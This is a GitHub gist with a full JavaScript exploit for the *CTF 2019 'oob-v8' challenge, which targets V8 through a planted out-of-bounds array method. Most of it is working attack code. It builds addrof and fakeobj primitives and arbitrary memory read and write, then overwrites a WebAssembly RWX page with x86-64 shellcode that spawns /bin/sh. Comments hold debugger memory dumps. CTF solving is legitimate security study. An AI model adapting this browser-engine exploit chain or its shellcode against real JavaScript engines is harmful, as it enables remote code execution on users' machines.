Skip to content

Instantly share code, notes, and snippets.

@Xornet-Euphoria
Last active January 16, 2024 15:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Xornet-Euphoria/1fc48bcb96d5c2e5d8becca0f910a474 to your computer and use it in GitHub Desktop.
Save Xornet-Euphoria/1fc48bcb96d5c2e5d8becca0f910a474 to your computer and use it in GitHub Desktop.
*CTF 2019 - oob-v8
// utility functions
// convert float64 <-> uint64
let buf = new ArrayBuffer(8);
let float_buf = new Float64Array(buf);
let uint_buf = new BigUint64Array(buf);
function f2i(v) {
float_buf[0] = v;
return uint_buf[0];
}
function i2f(v) {
uint_buf[0] = v;
return float_buf[0];
}
// print utils
function hexPrint(v) {
console.log("0x" + v.toString(16));
}
// --------------------------------------------------
let tmp_obj = {X:1};
let float_arr = [1.1];
// fxxk v8 heap
// if this code is replaced to `obj_arr = [{X:1}]`
// maybe {X:1} will be allocated before obj_arr
let obj_arr = [tmp_obj]; // fxxk v8 heap
/*
- from x64.debug (but debug build interpreter checks the boundaries)
d8> %DebugPrint(obj_arr)
DebugPrint: 0x101fed78e3a1: [JSArray]
- map: 0x3cc433902f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x0d5329cd1111 <JSArray[0]>
- elements: 0x101fed78e389 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x00e4ebf80c71 <FixedArray[0]> {
#length: 0x0fbd8fe001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x101fed78e389 <FixedArray[1]> {
0: 0x101fed78e301 <Object map = 0x3cc43390ab39>
}
-------------------------------------------------
pwndbg> x/16gx 0x101fed78e3a1-1
0x101fed78e3a0: 0x00003cc433902f79 0x000000e4ebf80c71
0x101fed78e3b0: 0x0000101fed78e389 0x0000000100000000
0x101fed78e3c0: 0x000000e4ebf80941 0x0000000400000003
0x101fed78e3d0: 0xdeadbeed29386428 0x000000e4ebf80941
0x101fed78e3e0: 0x00000016e68fa846 0x7250677562654425
0x101fed78e3f0: 0x616f6c6628746e69 0xdead297272615f74
0x101fed78e400: 0x000000e4ebf802d1 0x0000000100000000
0x101fed78e410: 0x00000d5329cdff6b 0x000000e4ebf80851
pwndbg> x/16gx 0x101fed78e3a1-1-0x30
0x101fed78e370: 0x000000e4ebf80c71 0x0000101fed78e351
0x101fed78e380: 0x0000000100000000 0x000000e4ebf80801
0x101fed78e390: 0x0000000100000000 0x0000101fed78e301 <- elements[0]
0x101fed78e3a0: 0x00003cc433902f79 0x000000e4ebf80c71 <- elements[1] and element[2]
0x101fed78e3b0: 0x0000101fed78e389 0x0000000100000000
0x101fed78e3c0: 0x000000e4ebf80941 0x0000000400000003
0x101fed78e3d0: 0xdeadbeed29386428 0x000000e4ebf80941
0x101fed78e3e0: 0x00000016e68fa846 0x7250677562654425
pwndbg>
*/
let float_map = float_arr.oob();
let obj_map = obj_arr.oob();
// addrof
function addrof(obj) {
obj_arr[0] = obj;
obj_arr.oob(float_map);
let v = obj_arr[0];
obj_arr.oob(obj_map);
return f2i(v);
}
// fakeobj
// addr: address of array that includes float64 as bytes
function fakeobj(addr) {
float_arr[0] = i2f(addr);
float_arr.oob(obj_map);
let fake = float_arr[0]
float_arr.oob(float_map);
return fake;
}
/*
$ ./d8 --shell --allow-natives-syntax exploit.js
V8 version 7.5.0 (candidate)
d8> addrof(fake_arr)
46866547141369n
d8> %DebugPrint(fake_arr)
0x2a9ff7e4eaf9 <JSArray[4]>
[9.9, 10.1, 11.11, 12.12]
d8>
pwndbg> x/16gx 0x2a9ff7e4eaf9-1
0x2a9ff7e4eaf8: 0x0000373223342ed9 0x00003a2520880c71
0x2a9ff7e4eb08: 0x00002a9ff7e4eac9 0x0000000400000000 <- elements and length(?)
0x2a9ff7e4eb18: 0x00003a2520880941 0x0000000400000003
0x2a9ff7e4eb28: 0x0000000029386428 0x00003a2520880941
0x2a9ff7e4eb38: 0x000000103a76c8b6 0x6628666f72646461
0x2a9ff7e4eb48: 0x297272615f656b61 0x00003a25208802d1
0x2a9ff7e4eb58: 0x0000000100000000 0x00002c43bde20303
0x2a9ff7e4eb68: 0x00003a2520880851 0x0000000400000000
pwndbg> x/16gx 0x2a9ff7e4eaf9-1-0x30
0x2a9ff7e4eac8: 0x00003a25208814f9 0x0000000400000000
0x2a9ff7e4ead8: 0x4023cccccccccccd 0x4024333333333333 <- elements[0] and elements[1]
0x2a9ff7e4eae8: 0x40263851eb851eb8 0x40283d70a3d70a3d
0x2a9ff7e4eaf8: 0x0000373223342ed9 0x00003a2520880c71
0x2a9ff7e4eb08: 0x00002a9ff7e4eac9 0x0000000400000000
0x2a9ff7e4eb18: 0x00003a2520880941 0x0000000400000003
0x2a9ff7e4eb28: 0x0000000029386428 0x00003a2520880941
0x2a9ff7e4eb38: 0x000000103a76c8b6 0x6628666f72646461
pwndbg>
*/
// fake_arr[3]: length (0x10000000 as float64)
let fake_arr = [float_map, 10.10, 11.11, 1.2882297539194267e-231];
let fake_addr = addrof(fake_arr);
// array of float64
let aarw_arr = fakeobj(fake_addr - 0x30n + 0x10n);
function aar(addr) {
fake_arr[2] = i2f(addr-0x10n);
return f2i(aarw_arr[0]);
}
// worked only for address in v8 heap?
// not worked for RWX (SIGSEGV)
function aaw(addr, v) {
fake_arr[2] = i2f(addr-0x10n);
aarw_arr[0] = i2f(v);
}
/*
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x4b5f3858000 0x4b5f3860000 rw-p 8000 0 [anon_4b5f3858]
0x704561c0000 0x70456200000 rw-p 40000 0 [anon_704561c0]
0xa0676791000 0xa06767c0000 ---p 2f000 0 [anon_a0676791]
0xa06767c0000 0xa06767c1000 rw-p 1000 0 [anon_a06767c0]
0xa06767c1000 0xa06767c2000 ---p 1000 0 [anon_a06767c1]
0xa06767c2000 0xa06767e7000 r-xp 25000 0 [anon_a06767c2]
0xa06767e7000 0xa06767ff000 ---p 18000 0 [anon_a06767e7]
0xa06767ff000 0xa0676800000 ---p 1000 0 [anon_a06767ff]
0xa0676800000 0xa0676801000 rw-p 1000 0 [anon_a0676800]
0xa0676801000 0xa0676802000 ---p 1000 0 [anon_a0676801]
0xa0676802000 0xa067683f000 r-xp 3d000 0 [anon_a0676802]
0xa067683f000 0xa067e791000 ---p 7f52000 0 [anon_a067683f]
0x1401b92c0000 0x1401b9300000 rw-p 40000 0 [anon_1401b92c0]
0x18e08ca40000 0x18e08ca5e000 rw-p 1e000 0 [anon_18e08ca40]
0x1a805d2c0000 0x1a805d300000 rw-p 40000 0 [anon_1a805d2c0]
0x1d09c5500000 0x1d09c5540000 rw-p 40000 0 [anon_1d09c5500]
0x261810a00000 0x261810a40000 r--p 40000 0 [anon_261810a00]
0x2c2ad0140000 0x2c2ad0141000 rwxp 1000 0 [anon_2c2ad0140] <- cake
*/
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
let rwx_addr = aar(addrof(wasm_instance) + 0x88n);
hexPrint(rwx_addr)
let aaw_buf = new ArrayBuffer(0x400);
let dv = new DataView(aaw_buf);
let backing_store_addr = addrof(aaw_buf) + 0x20n;
aaw(backing_store_addr, rwx_addr)
let shellcode = [72, 49, 210, 82, 72, 184, 47, 98, 105, 110, 47, 47, 115, 104, 80, 72, 137, 231, 82, 87, 72, 137, 230, 72, 141, 66, 59, 15, 5]
for (let i = 0; i < shellcode.length; i++) {
dv.setUint8(i, shellcode[i]);
}
// Win!!
f();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment